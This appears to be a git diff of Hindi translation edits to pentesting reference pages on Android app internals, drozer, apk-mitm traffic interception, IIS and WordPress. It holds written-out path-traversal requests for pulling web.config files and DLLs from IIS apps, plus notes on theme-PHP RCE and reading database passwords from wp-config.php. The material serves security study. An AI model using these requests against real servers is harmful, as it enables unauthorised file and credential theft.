एक गतिविधि का जीवनचक्र **onCreate विधि के साथ शुरू होता है**, UI सेटअप करना और उपयोगकर्ता के साथ बातचीत के लिए गतिविधि को तैयार करना।
|
||||
एक गतिविधि का जीवनचक्र **onCreate विधि के साथ शुरू होता है**, UI सेटअप करते हुए और उपयोगकर्ता के साथ बातचीत के लिए गतिविधि को तैयार करते हुए।
|
||||
|
||||
### एप्लिकेशन उपवर्ग
|
||||
|
||||
Android विकास में, एक ऐप के पास [Application](https://developer.android.com/reference/android/app/Application) क्लास का **उपवर्ग** बनाने का विकल्प होता है, हालांकि यह अनिवार्य नहीं है। जब ऐसा उपवर्ग परिभाषित किया जाता है, तो यह ऐप के भीतर पहली क्लास बन जाती है जिसे इंस्टेंटिएट किया जाता है। यदि इस उपवर्ग में **`attachBaseContext`** विधि लागू की गई है, तो इसे **`onCreate`** विधि से पहले निष्पादित किया जाता है। यह सेटअप बाकी एप्लिकेशन शुरू होने से पहले प्रारंभिक प्रारंभ की अनुमति देता है।
|
||||
Android विकास में, एक ऐप के पास **Application** क्लास का एक **उपवर्ग** बनाने का विकल्प होता है, हालांकि यह अनिवार्य नहीं है। जब ऐसा उपवर्ग परिभाषित किया जाता है, तो यह ऐप के भीतर पहली क्लास बन जाती है जिसे इंस्टेंटिएट किया जाता है। यदि इस उपवर्ग में **`attachBaseContext`** विधि लागू की गई है, तो इसे **`onCreate`** विधि से पहले निष्पादित किया जाता है। यह सेटअप बाकी एप्लिकेशन शुरू होने से पहले प्रारंभिक प्रारंभ की अनुमति देता है।
|
||||
```java
|
||||
public class MyApp extends Application {
|
||||
@Override
|
||||
@ -276,9 +276,9 @@ super.onCreate();
|
||||
|
||||
[Services](https://developer.android.com/guide/components/services) **बैकग्राउंड ऑपरेटिव्स** हैं जो बिना उपयोगकर्ता इंटरफेस के कार्यों को निष्पादित करने में सक्षम हैं। ये कार्य तब भी चलते रह सकते हैं जब उपयोगकर्ता विभिन्न अनुप्रयोगों में स्विच करते हैं, जिससे सेवाएँ **लंबी अवधि के संचालन** के लिए महत्वपूर्ण हो जाती हैं।
|
||||
|
||||
सेवाएँ बहुपरकारी हैं; इन्हें विभिन्न तरीकों से प्रारंभ किया जा सकता है, जिसमें **Intents** इन्हें लॉन्च करने का प्राथमिक तरीका है, जो एक अनुप्रयोग के प्रवेश बिंदु के रूप में कार्य करता है। एक बार जब `startService` विधि का उपयोग करके सेवा शुरू की जाती है, तो इसका `onStart` विधि सक्रिय हो जाती है और तब तक चलती रहती है जब तक `stopService` विधि को स्पष्ट रूप से नहीं बुलाया जाता। वैकल्पिक रूप से, यदि किसी सेवा की भूमिका एक सक्रिय क्लाइंट कनेक्शन पर निर्भर करती है, तो क्लाइंट को सेवा से जोड़ने के लिए `bindService` विधि का उपयोग किया जाता है, जो डेटा पास करने के लिए `onBind` विधि को सक्रिय करता है।
|
||||
सेवाएँ बहुपरकारी हैं; इन्हें विभिन्न तरीकों से प्रारंभ किया जा सकता है, जिसमें **Intents** इन्हें लॉन्च करने का प्राथमिक तरीका है, जो एक अनुप्रयोग के प्रवेश बिंदु के रूप में कार्य करता है। एक बार जब `startService` विधि का उपयोग करके सेवा शुरू की जाती है, तो इसका `onStart` विधि सक्रिय हो जाती है और तब तक चलती रहती है जब तक कि `stopService` विधि को स्पष्ट रूप से नहीं बुलाया जाता। वैकल्पिक रूप से, यदि किसी सेवा की भूमिका एक सक्रिय क्लाइंट कनेक्शन पर निर्भर करती है, तो क्लाइंट को सेवा से जोड़ने के लिए `bindService` विधि का उपयोग किया जाता है, जो डेटा पास करने के लिए `onBind` विधि को सक्रिय करता है।
|
||||
|
||||
सेवाओं का एक दिलचस्प अनुप्रयोग बैकग्राउंड संगीत प्लेबैक या नेटवर्क डेटा फ़ेचिंग शामिल है, जो उपयोगकर्ता के ऐप के साथ इंटरैक्शन को बाधित किए बिना होता है। इसके अलावा, सेवाओं को **निर्यात** करके एक ही डिवाइस पर अन्य प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है। यह डिफ़ॉल्ट व्यवहार नहीं है और इसके लिए Android Manifest फ़ाइल में स्पष्ट कॉन्फ़िगरेशन की आवश्यकता होती है:
|
||||
सेवाओं का एक दिलचस्प अनुप्रयोग बैकग्राउंड संगीत प्लेबैक या नेटवर्क डेटा फ़ेचिंग है, जो उपयोगकर्ता के ऐप के साथ इंटरैक्शन को बाधित किए बिना होता है। इसके अलावा, सेवाओं को **निर्यात** करके एक ही डिवाइस पर अन्य प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है। यह डिफ़ॉल्ट व्यवहार नहीं है और इसके लिए Android Manifest फ़ाइल में स्पष्ट कॉन्फ़िगरेशन की आवश्यकता होती है:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
@ -294,11 +294,11 @@ super.onCreate();
|
||||
|
||||
### Content Provider
|
||||
|
||||
**Content Providers** ऐप्स के बीच **संरचित डेटा** साझा करने के लिए आवश्यक हैं, डेटा सुरक्षा सुनिश्चित करने के लिए **अनुमतियों** को लागू करने के महत्व पर जोर देते हैं। वे ऐप्स को विभिन्न स्रोतों से डेटा तक पहुँचने की अनुमति देते हैं, जिसमें डेटाबेस, फ़ाइल सिस्टम, या वेब शामिल हैं। विशिष्ट अनुमतियाँ, जैसे **`readPermission`** और **`writePermission`**, पहुँच को नियंत्रित करने के लिए महत्वपूर्ण हैं। इसके अतिरिक्त, ऐप के मैनिफेस्ट में **`grantUriPermission`** सेटिंग्स के माध्यम से अस्थायी पहुँच प्रदान की जा सकती है, जिसमें `path`, `pathPrefix`, और `pathPattern` जैसे गुणों का उपयोग करके विस्तृत पहुँच नियंत्रण किया जा सकता है।
|
||||
**Content Providers** ऐप्स के बीच **संरचित डेटा** साझा करने के लिए आवश्यक हैं, डेटा सुरक्षा सुनिश्चित करने के लिए **अनुमतियों** को लागू करने के महत्व पर जोर देते हैं। वे ऐप्स को विभिन्न स्रोतों से डेटा तक पहुँचने की अनुमति देते हैं, जिसमें डेटाबेस, फ़ाइल सिस्टम, या वेब शामिल हैं। विशिष्ट अनुमतियाँ, जैसे **`readPermission`** और **`writePermission`**, पहुँच को नियंत्रित करने के लिए महत्वपूर्ण हैं। इसके अतिरिक्त, ऐप के मैनिफेस्ट में **`grantUriPermission`** सेटिंग्स के माध्यम से अस्थायी पहुँच प्रदान की जा सकती है, जिसमें `path`, `pathPrefix`, और `pathPattern` जैसे गुणों का उपयोग विस्तृत पहुँच नियंत्रण के लिए किया जाता है।
|
||||
|
||||
इनपुट सत्यापन कमजोरियों, जैसे SQL इंजेक्शन, को रोकने के लिए महत्वपूर्ण है। Content Providers बुनियादी संचालन का समर्थन करते हैं: `insert()`, `update()`, `delete()`, और `query()`, जो एप्लिकेशनों के बीच डेटा हेरफेर और साझा करने की सुविधा प्रदान करते हैं।
|
||||
|
||||
**FileProvider**, एक विशेष Content Provider, फ़ाइलों को सुरक्षित रूप से साझा करने पर केंद्रित है। इसे ऐप के मैनिफेस्ट में विशिष्ट गुणों के साथ परिभाषित किया गया है जो फ़ोल्डरों तक पहुँच को नियंत्रित करते हैं, जिसे `android:exported` और `android:resource` द्वारा फ़ोल्डर कॉन्फ़िगरेशन की ओर इंगित किया जाता है। संवेदनशील डेटा को अनजाने में उजागर करने से बचने के लिए निर्देशिकाएँ साझा करते समय सावधानी बरतने की सलाह दी जाती है।
|
||||
**FileProvider**, एक विशेष Content Provider, फ़ाइलों को सुरक्षित रूप से साझा करने पर केंद्रित है। इसे ऐप के मैनिफेस्ट में विशिष्ट गुणों के साथ परिभाषित किया गया है जो फ़ोल्डरों तक पहुँच को नियंत्रित करते हैं, जिसे `android:exported` और `android:resource` द्वारा फ़ोल्डर कॉन्फ़िगरेशन की ओर इंगित किया गया है। संवेदनशील डेटा को अनजाने में उजागर करने से बचने के लिए निर्देशिकाएँ साझा करते समय सावधानी बरतने की सलाह दी जाती है।
|
||||
|
||||
FileProvider के लिए उदाहरण मैनिफेस्ट घोषणा:
|
||||
```xml
|
||||
@ -323,18 +323,18 @@ For further information check:
|
||||
|
||||
## WebViews
|
||||
|
||||
WebViews **एंड्रॉइड ऐप्स** के अंदर **मिनी वेब ब्राउज़रों** की तरह होते हैं, जो सामग्री को या तो वेब से या स्थानीय फ़ाइलों से खींचते हैं। इन्हें सामान्य ब्राउज़रों के समान जोखिमों का सामना करना पड़ता है, फिर भी कुछ विशेष **सेटिंग्स** के माध्यम से **इन जोखिमों को कम करने** के तरीके हैं।
|
||||
WebViews **एंड्रॉइड ऐप्स** के अंदर **मिनी वेब ब्राउज़र** की तरह होते हैं, जो सामग्री को या तो वेब से या स्थानीय फ़ाइलों से खींचते हैं। इन्हें सामान्य ब्राउज़रों के समान जोखिमों का सामना करना पड़ता है, फिर भी कुछ विशेष **सेटिंग्स** के माध्यम से इन जोखिमों को **कम करने** के तरीके हैं।
|
||||
|
||||
एंड्रॉइड दो मुख्य WebView प्रकार प्रदान करता है:
|
||||
|
||||
- **WebViewClient** बुनियादी HTML के लिए अच्छा है लेकिन JavaScript अलर्ट फ़ंक्शन का समर्थन नहीं करता, जो XSS हमलों के परीक्षण को प्रभावित करता है।
|
||||
- **WebViewClient** बुनियादी HTML के लिए अच्छा है लेकिन JavaScript अलर्ट फ़ंक्शन का समर्थन नहीं करता, जो XSS हमलों का परीक्षण करने के तरीके को प्रभावित करता है।
|
||||
- **WebChromeClient** पूर्ण Chrome ब्राउज़र अनुभव की तरह कार्य करता है।
|
||||
|
||||
एक महत्वपूर्ण बिंदु यह है कि WebView ब्राउज़र्स **कुकीज़** को डिवाइस के मुख्य ब्राउज़र के साथ **साझा नहीं करते**।
|
||||
एक महत्वपूर्ण बिंदु यह है कि WebView ब्राउज़र **कुकीज़** को डिवाइस के मुख्य ब्राउज़र के साथ **साझा नहीं करते**।
|
||||
|
||||
सामग्री लोड करने के लिए, `loadUrl`, `loadData`, और `loadDataWithBaseURL` जैसे तरीके उपलब्ध हैं। यह सुनिश्चित करना महत्वपूर्ण है कि ये URLs या फ़ाइलें **उपयोग के लिए सुरक्षित** हैं। सुरक्षा सेटिंग्स को `WebSettings` क्लास के माध्यम से प्रबंधित किया जा सकता है। उदाहरण के लिए, `setJavaScriptEnabled(false)` के साथ JavaScript को अक्षम करना XSS हमलों को रोक सकता है।
|
||||
|
||||
JavaScript "Bridge" Java ऑब्जेक्ट्स को JavaScript के साथ इंटरैक्ट करने की अनुमति देता है, जिसके लिए Android 4.2 से सुरक्षा के लिए विधियों को `@JavascriptInterface` के साथ चिह्नित करना आवश्यक है।
|
||||
JavaScript "Bridge" Java ऑब्जेक्ट्स को JavaScript के साथ इंटरैक्ट करने की अनुमति देता है, जिसमें Android 4.2 से सुरक्षा के लिए विधियों को `@JavascriptInterface` के साथ चिह्नित करना आवश्यक है।
|
||||
|
||||
सामग्री पहुंच की अनुमति देना (`setAllowContentAccess(true)`) WebViews को Content Providers तक पहुंचने की अनुमति देता है, जो एक जोखिम हो सकता है जब तक कि सामग्री URLs को सुरक्षित के रूप में सत्यापित नहीं किया जाता।
|
||||
|
||||
@ -346,7 +346,7 @@ JavaScript "Bridge" Java ऑब्जेक्ट्स को JavaScript के
|
||||
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- **Digital signing** एंड्रॉइड ऐप्स के लिए अनिवार्य है, यह सुनिश्चित करते हुए कि वे **प्रामाणिक रूप से लिखित** हैं। यह प्रक्रिया ऐप पहचान के लिए एक प्रमाणपत्र का उपयोग करती है और इसे इंस्टॉलेशन के समय डिवाइस के पैकेज प्रबंधक द्वारा सत्यापित किया जाना चाहिए। ऐप्स **स्वयं-हस्ताक्षरित या बाहरी CA द्वारा प्रमाणित** हो सकते हैं, जो अनधिकृत पहुंच से सुरक्षा प्रदान करते हैं और यह सुनिश्चित करते हैं कि ऐप डिवाइस पर डिलीवरी के दौरान बिना छेड़छाड़ के रहे।
|
||||
- **Digital signing** एंड्रॉइड ऐप्स के लिए अनिवार्य है, यह सुनिश्चित करते हुए कि वे **प्रामाणिक रूप से लिखित** हैं। यह प्रक्रिया ऐप पहचान के लिए एक प्रमाणपत्र का उपयोग करती है और इसे इंस्टॉलेशन के समय डिवाइस के पैकेज प्रबंधक द्वारा सत्यापित किया जाना चाहिए। ऐप्स **स्वयं-हस्ताक्षरित या बाहरी CA द्वारा प्रमाणित** हो सकते हैं, जो अनधिकृत पहुंच से सुरक्षा प्रदान करते हैं और सुनिश्चित करते हैं कि ऐप डिवाइस पर डिलीवरी के दौरान बिना छेड़छाड़ के रहे।
|
||||
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
|
||||
@ -40,21 +40,21 @@ drozer console connect
|
||||
| **Commands** | **Description** |
|
||||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **Help MODULE** | चयनित मॉड्यूल की मदद दिखाता है |
|
||||
| **list** | वर्तमान सत्र में निष्पादित किए जा सकने वाले सभी drozer मॉड्यूल की सूची दिखाता है। यह उन मॉड्यूल को छिपाता है जिनके लिए आपके पास उचित अनुमति नहीं है। |
|
||||
| **list** | वर्तमान सत्र में निष्पादित किए जा सकने वाले सभी drozer मॉड्यूल की सूची दिखाता है। यह उन मॉड्यूल को छुपाता है जिनके लिए आपके पास उचित अनुमतियाँ नहीं हैं। |
|
||||
| **shell** | एजेंट के संदर्भ में डिवाइस पर एक इंटरैक्टिव लिनक्स शेल शुरू करें। |
|
||||
| **clean** | एंड्रॉइड डिवाइस पर drozer द्वारा संग्रहीत अस्थायी फ़ाइलें हटा दें। |
|
||||
| **load** | एक फ़ाइल लोड करें जिसमें drozer कमांड होते हैं और उन्हें अनुक्रम में निष्पादित करें। |
|
||||
| **load** | drozer कमांड वाले फ़ाइल को लोड करें और उन्हें अनुक्रम में निष्पादित करें। |
|
||||
| **module** | इंटरनेट से अतिरिक्त drozer मॉड्यूल खोजें और स्थापित करें। |
|
||||
| **unset** | एक नामित चर को हटा दें जिसे drozer किसी भी लिनक्स शेल में पास करता है जिसे यह उत्पन्न करता है। |
|
||||
| **set** | एक मान को एक चर में संग्रहीत करें जिसे drozer द्वारा उत्पन्न किसी भी लिनक्स शेल में पर्यावरणीय चर के रूप में पास किया जाएगा। |
|
||||
| **shell** | एजेंट के संदर्भ में डिवाइस पर एक इंटरैक्टिव लिनक्स शेल शुरू करें। |
|
||||
| **run MODULE** | एक drozer मॉड्यूल निष्पादित करें |
|
||||
| **exploit** | Drozer निर्णय में निष्पादित करने के लिए शोषण बना सकता है। `drozer exploit list` |
|
||||
| **payload** | शोषण के लिए एक पेलोड की आवश्यकता होती है। `drozer payload list` |
|
||||
| **exploit** | Drozer निर्णय में निष्पादित करने के लिए एक्सप्लॉइट बना सकता है। `drozer exploit list` |
|
||||
| **payload** | एक्सप्लॉइट को एक पेलोड की आवश्यकता होती है। `drozer payload list` |
|
||||
|
||||
### Package
|
||||
|
||||
**नाम** खोजें जो नाम के भाग द्वारा फ़िल्टर किया गया है:
|
||||
**नाम** खोजें पैकेज का नाम के भाग द्वारा फ़िल्टर करते हुए:
|
||||
```bash
|
||||
dz> run app.package.list -f sieve
|
||||
com.mwr.example.sieve
|
||||
@ -93,7 +93,7 @@ Attack Surface:
|
||||
2 services exported
|
||||
is debuggable
|
||||
```
|
||||
- **Activities**: शायद आप एक गतिविधि शुरू कर सकते हैं और कुछ प्रकार की प्राधिकरण को बायपास कर सकते हैं जो आपको इसे लॉन्च करने से रोकनी चाहिए।
|
||||
- **Activities**: शायद आप एक गतिविधि शुरू कर सकते हैं और किसी प्रकार की प्राधिकरण को बायपास कर सकते हैं जो आपको इसे लॉन्च करने से रोकनी चाहिए।
|
||||
- **Content providers**: शायद आप निजी डेटा तक पहुँच सकते हैं या कुछ कमजोरियों (SQL Injection या Path Traversal) का लाभ उठा सकते हैं।
|
||||
- **Services**:
|
||||
- **is debuggable**: [Learn more](#is-debuggeable)
|
||||
@ -101,7 +101,7 @@ is debuggable
|
||||
### Activities
|
||||
|
||||
An exported activity component’s “android:exported” value is set to **“true”** in the AndroidManifest.xml file:
|
||||
```markup
|
||||
```html
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
```
|
||||
@ -113,7 +113,7 @@ com.mwr.example.sieve.FileSelectActivity
|
||||
com.mwr.example.sieve.MainLoginActivity
|
||||
com.mwr.example.sieve.PWList
|
||||
```
|
||||
**गतिविधि शुरू करें**:
|
||||
**Start activity**:
|
||||
|
||||
शायद आप एक गतिविधि शुरू कर सकते हैं और कुछ प्रकार की प्राधिकरण को बायपास कर सकते हैं जो आपको इसे लॉन्च करने से रोकनी चाहिए।
|
||||
```bash
|
||||
@ -133,7 +133,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
### सेवाएँ
|
||||
|
||||
एक निर्यातित सेवा Manifest.xml के अंदर घोषित की जाती है:
|
||||
```markup
|
||||
```html
|
||||
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
||||
```
|
||||
कोड के अंदर **check** करें कि \*\*`handleMessage`\*\* फ़ंक्शन **receive** करेगा **message**:
|
||||
@ -161,10 +161,10 @@ Take a look to the **drozer** help for `app.service.send`:
|
||||
|
||||
.png>)
|
||||
|
||||
ध्यान दें कि आप पहले "_msg.what_" के अंदर डेटा भेजेंगे, फिर "_msg.arg1_" और "_msg.arg2_"। आपको कोड के अंदर **कौन सी जानकारी का उपयोग किया जा रहा है** और कहाँ यह जांचना चाहिए।\
|
||||
`--extra` विकल्प का उपयोग करके आप "_msg.replyTo_" द्वारा व्याख्यायित कुछ भेज सकते हैं, और `--bundle-as-obj` का उपयोग करके आप प्रदान किए गए विवरणों के साथ एक ऑब्जेक्ट बनाते हैं।
|
||||
Note that you will be sending first the data inside "_msg.what_", then "_msg.arg1_" and "_msg.arg2_", you should check inside the code **which information is being used** and where.\
|
||||
Using the `--extra` option you can send something interpreted by "_msg.replyTo"_, and using `--bundle-as-obj` you create and object with the provided details.
|
||||
|
||||
निम्नलिखित उदाहरण में:
|
||||
In the following example:
|
||||
|
||||
- `what == 2354`
|
||||
- `arg1 == 9234`
|
||||
@ -206,7 +206,7 @@ Permission: null
|
||||
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
|
||||
Permission: null
|
||||
```
|
||||
#### ब्रॉडकास्ट **इंटरैक्शन**
|
||||
#### Broadcast **Interactions**
|
||||
```bash
|
||||
app.broadcast.info Get information about broadcast receivers
|
||||
app.broadcast.send Send broadcast using an intent
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
# स्वचालित
|
||||
|
||||
उपकरण [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) आवश्यक परिवर्तनों को **स्वचालित** रूप से एप्लिकेशन में करेगा ताकि अनुरोधों को कैप्चर करना शुरू किया जा सके और यह प्रमाणपत्र पिनिंग को भी अक्षम करेगा (यदि कोई हो)।
|
||||
उपकरण [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) आवश्यक परिवर्तनों को **स्वचालित** रूप से एप्लिकेशन में करेगा ताकि अनुरोधों को कैप्चर करना शुरू किया जा सके और यह प्रमाणपत्र पिनिंग को भी अक्षम कर देगा (यदि कोई हो)।
|
||||
|
||||
# मैनुअल
|
||||
|
||||
@ -24,8 +24,8 @@
|
||||
|
||||

|
||||
|
||||
अब **res/xml** फ़ोल्डर में जाएं और network_security_config.xml नाम की एक फ़ाइल बनाएं/संशोधित करें जिसमें निम्नलिखित सामग्री हो:
|
||||
```markup
|
||||
अब **res/xml** फ़ोल्डर में जाएं और network_security_config.xml नाम की फ़ाइल बनाएं/संशोधित करें जिसमें निम्नलिखित सामग्री हो:
|
||||
```html
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
<trust-anchors>
|
||||
@ -41,6 +41,6 @@
|
||||
|
||||

|
||||
|
||||
अंत में, आपको बस **नई एप्लिकेशन पर हस्ताक्षर करना** है। [इसे साइन करने के तरीके के लिए इस पृष्ठ के अनुभाग को पढ़ें Smali - Decompiling/\[Modifying\]/Compiling](smali-changes.md#sing-the-new-apk).
|
||||
अंत में, आपको बस **नई एप्लिकेशन पर हस्ताक्षर करना** है। [हस्ताक्षर करने के लिए इस पृष्ठ के अनुभाग को पढ़ें Smali - Decompiling/\[Modifying\]/Compiling](smali-changes.md#sing-the-new-apk)।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -35,7 +35,7 @@ X-FEServer: NHEXCHANGE2016
|
||||
|
||||
## IIS Discovery Bruteforce
|
||||
|
||||
डाउनलोड करें सूची जो मैंने बनाई है:
|
||||
मैंने जो सूची बनाई है उसे डाउनलोड करें:
|
||||
|
||||
{{#file}}
|
||||
iisfinal.txt
|
||||
@ -59,8 +59,8 @@ iisfinal.txt
|
||||
पूर्ण लेखन की जांच करें: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||
|
||||
> [!NOTE]
|
||||
> संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "**assemblyIdentity**" फ़ाइलों और "**namespaces**" के संदर्भ हैं। इस जानकारी के साथ यह जानना संभव है **executables कहां स्थित हैं** और उन्हें डाउनलोड करें।\
|
||||
> **डाउनलोड की गई Dlls** से यह भी संभव है **नए namespaces** खोजने के लिए जहां आपको पहुंचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।\
|
||||
> संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "**assemblyIdentity**" फ़ाइलों और "**namespaces**" के संदर्भ हैं। इस जानकारी से यह जानना संभव है कि **executables कहां स्थित हैं** और उन्हें डाउनलोड करें।\
|
||||
> **डाउनलोड की गई Dlls** से यह भी संभव है कि **नए namespaces** खोजें जहां आपको पहुंचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।\
|
||||
> इसके अलावा, फ़ाइलें **connectionstrings.config** और **global.asax** दिलचस्प जानकारी रख सकती हैं।
|
||||
|
||||
**.Net MVC applications** में, **web.config** फ़ाइल एक महत्वपूर्ण भूमिका निभाती है, जो प्रत्येक बाइनरी फ़ाइल को निर्दिष्ट करती है जिस पर एप्लिकेशन निर्भर करता है **"assemblyIdentity"** XML टैग के माध्यम से।
|
||||
@ -68,35 +68,35 @@ iisfinal.txt
|
||||
### **Exploring Binary Files**
|
||||
|
||||
**web.config** फ़ाइल तक पहुंचने का एक उदाहरण नीचे दिखाया गया है:
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
यह अनुरोध विभिन्न सेटिंग्स और निर्भरताओं को प्रकट करता है, जैसे:
|
||||
|
||||
- **EntityFramework** संस्करण
|
||||
- **AppSettings** वेबपृष्ठों, क्लाइंट सत्यापन, और JavaScript के लिए
|
||||
- **AppSettings** वेबपृष्ठों, क्लाइंट सत्यापन और JavaScript के लिए
|
||||
- **System.web** प्रमाणीकरण और रनटाइम के लिए कॉन्फ़िगरेशन
|
||||
- **System.webServer** मॉड्यूल सेटिंग्स
|
||||
- **Runtime** असेंबली बाइंडिंग्स कई पुस्तकालयों के लिए जैसे **Microsoft.Owin**, **Newtonsoft.Json**, और **System.Web.Mvc**
|
||||
|
||||
ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे **/bin/WebGrease.dll**, एप्लिकेशन के /bin फ़ोल्डर के भीतर स्थित हैं।
|
||||
ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे **/bin/WebGrease.dll**, अनुप्रयोग के /bin फ़ोल्डर के भीतर स्थित हैं।
|
||||
|
||||
### **रूट डायरेक्टरी फ़ाइलें**
|
||||
### **रूट निर्देशिका फ़ाइलें**
|
||||
|
||||
रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती हैं), एप्लिकेशन की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं।
|
||||
रूट निर्देशिका में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती है), अनुप्रयोग की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं।
|
||||
|
||||
### **Namespaces और Web.Config**
|
||||
|
||||
MVC एप्लिकेशन विशिष्ट namespaces के लिए अतिरिक्त **web.config फ़ाइलें** भी परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है:
|
||||
```markup
|
||||
MVC अनुप्रयोग भी विशिष्ट namespaces के लिए अतिरिक्त **web.config फ़ाइलें** परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है:
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
### **DLLs डाउनलोड करना**
|
||||
|
||||
कस्टम नामस्थान का उल्लेख "/bin" निर्देशिका में मौजूद "**WebApplication1**" नामक DLL की ओर इशारा करता है। इसके बाद, **WebApplication1.dll** डाउनलोड करने के लिए एक अनुरोध दिखाया गया है:
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
@ -187,7 +187,7 @@ C:\xampp\tomcat\conf\server.xml
|
||||
|
||||
यदि आप निम्नलिखित त्रुटि देखते हैं:
|
||||
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||||
|
||||
इसका मतलब है कि सर्वर ने **Host header** के अंदर सही डोमेन नाम **नहीं प्राप्त किया**।\
|
||||
वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर द्वारा प्रदत्त **SSL Certificate** को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए **VHosts** का **brute force** करना पड़ सकता है।
|
||||
@ -241,7 +241,7 @@ ASPXAUTH निम्नलिखित जानकारी का उपय
|
||||
|
||||
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी पर हिट करता है** जो पहले से ही **cache** में है, वह उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा।
|
||||
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी** पर हिट करता है जो पहले से ही **cache** में है, वह उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा।
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
|
||||
@ -5,48 +5,48 @@
|
||||
## Basic Information
|
||||
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** so if you change some php of the theme to get RCE you probably will use that path. For example: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Themes files can be found in /wp-content/themes/,** इसलिए यदि आप RCE प्राप्त करने के लिए थीम के कुछ php को बदलते हैं, तो आप शायद उस पथ का उपयोग करेंगे। उदाहरण के लिए: **थीम twentytwelve** का उपयोग करते हुए आप **404.php** फ़ाइल तक **पहुँच** सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **एक और उपयोगी यूआरएल हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- In **wp-config.php** you can find the root password of the database.
|
||||
- Default login paths to check: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- **wp-config.php** में आप डेटाबेस का रूट पासवर्ड पा सकते हैं।
|
||||
